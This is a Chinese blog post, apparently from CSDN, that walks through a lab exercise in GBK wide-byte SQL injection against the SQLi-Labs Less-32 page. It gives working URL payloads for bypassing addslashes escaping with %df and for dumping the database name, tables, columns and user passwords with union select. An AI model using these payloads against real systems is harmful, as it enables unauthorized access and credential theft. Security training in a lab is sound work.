SQL注入-宽字节注入(十一)(面试热点)

实验目的
普及宽字节注入的原理和应用场合,以及宽字节注入的基本方法和流程。

实验环境
攻击机:告诉桃花不用开了
(1)操作系统:Windows10
(2)安装的应用软件:sqlmapBurpsuiteFireFox浏览器插件Hackbar
FoxyProxy等
(3)登录账号密码:操作系统帐号Admin,密码asdfghjkl
靶机:关键球

(1)操作系统:Centos7(本机亦可)
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、
Webug3.0漏洞网站环境
(3)登录账号密码:操作系统帐号root,密码qwertyuio

实验原理:

宽字节注入适用于cms和数据库对字符串的编码方式不统一、WAF利用AddSlashes()等函数对敏感字符进行转义的场景。统一的国际规范的理想状态是所有应用程序都使用Unicode编码,所有的网站都使用UTF-8编码。但因为一些历史原因,国内及国外(特别是非英语国家)的一些cms仍然使用着自己国家的一套编码(如GBK);也有一些cms为了考虑老用户,出了GBK和UTF-8两个版本。一个GBK编码汉字,占用2个字节:一个UTF-8编码的汉字,占用3-4个字节当Web应用程序的编码方式为GBK,而数据库的编码方式为UTF-8,且WAF利用AddSlashes0等函数对敏感字符进行转义时,此时可以利用Web应用程序和数据库编码方式上的差异,想办法将,前面添加的转义符一除掉,以实现注入。

实验步骤
本实验的目标是:以SQLi-Labs网站的Less-32为入口,利用宽字节注入的方式绕过转义过滤机制,获取SQLi-Labs网站的登录用户名和密码。
1.访问SQLi-Labs网站
在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的SQLi-Labs网站Less-32。访问的URL为:

http://[靶机IP]/sqli-labs/Less-32/

登录后,根据网页提示,先给定一个GET参数,即:

http://127.0.0.1/sqli-labs-master/Less-32/?id=1

此时页面显示id-1的用户名Dump、密码Dump(我网页自动翻译...米奇妙妙屋)

2.寻找注入点
分别使用以下3条payload寻找注入点及判断注入点的类型;

http://127.0.0.1/sqli-labs-master/Less-32/?id=1'

运行后正常显示用户名和密码,但页面下方提示'前被加上了\

http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df/

运行后报错

 原因:1%df‘被识别成了汉字

http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df'--+

运行后正常显示

由上述结果可以判断,网站存在字符型注入点,且有宽字节注入漏洞
3.判断网站查询的字段数
尝试使用以下payload获取网站查询的字段数(关键字order by)

http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' order by 1--+

正常显示!

http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' order by 2--+

http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' order by 3--+

http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' order by 4--+

报错

由上述结果可以判断,网站查询的字段数为3
4.判断网站的回显位置
利用以下payload判断网站的回显位置:

http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 1=2 union select 1,2,3--+

执行的结果是:2号位和3号位可以回显!

5.获取网站当前所在数据库的库名
使用以下payload获取网站当前所在数据库的库名:

http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 1=2 union select 1,2,database()--+

1,2,database()--+
显示结果为security。

6.获取数据库security的全部表名

使用以下 payload获取数据库 security的全部表名

http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 1=2 union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

//注意: payload如果写成...tabe_ schema=' security',此处的单引号也会被加上转义符而无法带入执行,这里需要将字符串 security转换成16进制编码,即0x7365637572697479其中0x73、0x65、0x63、0x75、0x72、0x69、0x74、0x79分别是小写字母s、e、c、u、r、i、t、y的16进制编码。

显示结果中,有一个名为 users的表,这当中可能存放着网站用户的基本信息。

 7.获取 users表的全部字段名

使用以下 payload获取 users表的全部字段名:

http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 1=2 union select 1, 2, group_concat(column_name)from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273--+

/注意:同上,0x7365637572697479、0x7573657273分别是字符串 security、 user s的16进制编码

显示结果, users表中有id、username和 password三个字段

8.获取 users表id、 username和 password字段的全部值

由于 users表中存放着多组用户名和密码的数据,而每次只能显示一组数据,我

们可以通过 limit mn的方式逐条显示,如

(1)显示第1组数据

http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 1=2 union select 1, 2, concat_ws(0x2c,id,username,password) from security. users limit 0,1--+

//注意:0x2c是逗号的16进制编码

显示结果为Dump,Dump。

(2)显示第2组数据

http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 1=2 union select 1, 2, concat_ws(0x2c,id,username,password) from security. users limit 1,1--+

显示结果为Angelina,l-kill-you

(3)显示第3组数据

http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' and 1=2 union select 1, 2, concat_ws(0x2c,id,username,password) from security. users limit 2,1--+

显示结果为Dummy,p@ssword。

 ....

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全
部暴露出来。
实验至此结束。

SQL注入 ——sql数据库操作基础(一)_Gjqhs的博客-CSDN博客

SQL注入-二阶注入(十)_Gjqhs的博客-CSDN博客

SQL注入——基于时间的盲注(九)_Gjqhs的博客-CSDN博客

...

更多包括而不限于SQL注入的文章,关注我全部带走吧( •̀ ω •́ )✧

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值